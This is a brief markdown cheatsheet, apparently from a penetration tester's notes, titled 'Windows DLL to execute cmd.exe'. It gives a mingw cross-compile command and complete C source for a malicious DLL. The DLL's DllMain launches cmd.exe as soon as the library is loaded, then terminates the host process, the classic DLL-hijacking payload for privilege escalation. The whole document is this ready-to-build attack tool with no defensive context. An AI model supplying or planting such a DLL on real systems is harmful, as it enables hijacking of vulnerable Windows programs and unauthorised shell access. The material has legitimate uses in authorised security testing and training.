malicious-dll.md 450 B


title: Windows DLL to execute cmd.exe date: 2021-01-13 categories: [cheatsheets]

tags: [security, windows]

Windows DLL to execute cmd.exe

  • Compile on Linux: x86_64-w64-mingw32-gcc malicous-dll.c -shared -o malicous.dll

    #include <windows.h>
    
    
    BOOL WINAPI DllMain(HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
    if (dwReason == DLL_PROCESS_ATTACH){
        system("cmd.exe");
        ExitProcess(0);
    }
    return TRUE;
    }